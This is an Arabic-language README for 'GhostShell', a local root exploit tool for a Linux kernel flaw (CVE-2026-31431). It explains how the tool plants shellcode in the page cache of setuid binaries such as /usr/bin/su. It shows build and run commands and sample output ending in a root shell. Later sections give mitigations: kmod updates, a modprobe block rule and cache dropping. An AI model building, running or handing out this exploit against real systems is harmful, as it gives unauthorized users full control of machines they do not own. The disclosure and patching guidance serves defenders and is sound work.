
CVE-2026-31431 — تصعيد الامتيازات المحلية عبر تلف ذاكرة التخزين المؤقت للصفحات في نواة لينكس
CVE-2026-31431 — تصعيد الامتيازات المحلي عبر تلف ذاكرة التخزين المؤقت للصفحات في نواة لينكس
GhostShell هي أداة لتصعيد الامتيازات المحلي تستغل ثغرة في تطبيق authencesn AEAD للتشفير في نواة لينكس للحصول على شل جذر من حساب مستخدم غير مميز. تقوم الأداة بإتلاف ذاكرة التخزين المؤقت للصفحات في الذاكرة لملف ثنائي setuid-root (مثل /usr/bin/su) عن طريق زرع شيلكود عند نقطة الدخول الخاصة به، ثم تنفيذه — مما يمنح setuid(0) + setgid(0) ويطلق شل /bin/sh بامتيازات مرتفعة. لا يتم تعديل أي ملف على القرص؛ فقط ذاكرة التخزين المؤقت للصفحات في الذاكرة تتأثر.
باختصار: تقوم بتشغيلها كمستخدم عادي، وتُسقطك في شل جذر.
تم اكتشافها والإفصاح عنها بواسطة Theori / Xint. الشرح الكامل: copy.fail
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Target: /usr/bin/su
Size: 63576 bytes
Entry offset: 0x1a50
Shellcode: 94 bytes (24 iterations)
[*] Checking if kernel is vulnerable...
[+] Kernel IS vulnerable.
[*] Corrupting page cache of /usr/bin/su with shellcode...
[*] Patching offset 0x01a50 (24/24) ...
[*] Verifying page cache corruption...
[+] Shellcode verified in page cache!
[*] Executing corrupted setuid binary...
[*] If successful, you should now have a root shell.
[*] No trace on disk. Only ghosts in the cache.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
لينكس 4.14 (أغسطس 2017) حتى النواة التي تم تصحيحها في أبريل 2026.
kmodالإصلاح الموصى به لـ CVE-2026-31431 هو تصحيح حزمة kmod (أدوات وحدات النواة) التي تشحن وحدة التشفير AEAD المعرضة للخطر authencesn. تم إصدار حزم محدّثة تعطّل أو تصحح مسار فك التشفير في المكان splice() من قبل الموزّعين الرئيسيين.
# تحقق من إصدار kmod الحالي
modprobe --version
# التحديث إلى الإصدار المصحح
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# تحقق من التحديث
modprobe --version
# تحديث kmod إلى الإصدار المصحح
sudo dnf update kmod
# تحقق
rpm -q kmod
sudo pacman -Syu kmod
بعد تصحيح kmod، تأكد من أن وحدة authencesn المعرضة للخطر لم تعد قابلة للتحميل أو تم تحديثها:
# محاولة تحميل الوحدة — على الأنظمة المصححة يجب أن تفشل أو تُبلغ عن إصدار مصحح
modinfo authencesn
# بدلاً من ذلك، تحقق من أن النواة قيد التشغيل تتضمن تصحيح أبريل 2026
uname -r # يجب أن يكون >= إصدار النواة المصحح لتوزيعتك
إذا لم تتمكن من تحديث kmod فورًا، يمكنك حظر تحميل وحدة التشفير المعرضة للخطر:
# حظر وحدة authencesn
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# أيضًا حظر وحدة authenc العامة للاحتياط
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# إلغاء تحميلها إذا كانت محمّلة حاليًا (قد يفشل إذا كانت قيد الاستخدام)
sudo modprobe -r authencesn 2>/dev/null
أعد التشغيل بعد التصحيح أو تطبيق الحل البديل لضمان مسح أي إدخالات تالفة في ذاكرة التخزين المؤقت للصفحات.
| نظام التشغيل | النواة |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-22-generic |
⚠️ تم اختبار هذه الأداة فقط على النظام أعلاه. قد تختلف النتائج على التوزيعات أو إصدارات النواة الأخرى.
<linux/if_alg.h>) — عادةً ما تكون مضمنة مع linux-libc-devتثبيت اعتماديات البناء على Ubuntu/Debian:
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
gcc -Wall -Wextra -o ghostshell ghostshell.c
لا تتطلب مكتبات خارجية.
اكتشاف الهدف تلقائيًا (يفحص الملفات الثنائية setuid الشائعة مثل su و sudo و passwd):
./ghostshell
تحديد هدف يدويًا:
./ghostshell /usr/bin/sudo
إذا كانت النواة معرضة للخطر، سيتم إسقاطك في شل جذر (#).
_start.patch_chunk() (24 تكرارًا)، باستخدام ثغرة فك التشفير في المكان splice() في AF_ALG.execl() على الملف الثنائي التالف. تقوم النواة بتحميله من ذاكرة التخزين المؤقت للصفحات ويتم تشغيل الشيلكود بامتيازات setuid-root، مما يطلق شل جذر.الأداة تتلف فقط ذاكرة التخزين المؤقت للصفحات في الذاكرة. إعادة تشغيل بسيطة تمسحها بالكامل.
لإسقاط ذاكرات التخزين المؤقت دون إعادة تشغيل:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
إذا تمت كتابة الصفحات المتسخة مرة أخرى إلى القرص (غير محتمل ولكن ممكن)، أعد تثبيت الحزمة المتأثرة:
sudo apt-get install --reinstall util-linux # لـ /usr/bin/su
هذه الأداة مقدمة لأغراض البحث الأمني التعليمي والمصرح به فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
هذا المشروع مرخص بموجب رخصة MIT.
يُمنح الإذن، مجانًا، لأي شخص يحصل على نسخة من هذا البرنامج وملفات التوثيق المرتبطة به ("البرنامج")، للتعامل مع البرنامج دون قيود، بما في ذلك دون حصر حقوق الاستخدام والنسخ والتعديل والدمج والنشر والتوزيع والترخيص و/أو بيع نسخ من البرنامج، والسماح للأشخاص الذين يُزودون بالبرنامج بالقيام بذلك، مع مراعاة الشروط التالية:
يجب تضمين إشعار حقوق النشر أعلاه وإشعار الإذن هذا في جميع النسخ أو الأجزاء الجوهرية من البرنامج.
يُقدم البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني، بما في ذلك دون حصر ضمانات القابلية للتسويق والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال لا يكون المؤلفون أو أصحاب حقوق النشر مسؤولين عن أي مطالبة أو أضرار أو مسؤولية أخرى، سواء في إجراء عقد أو ضرر أو غير ذلك، تنشأ عن أو من أو فيما يتعلق بالبرنامج أو الاستخدام أو التعاملات الأخرى في البرنامج.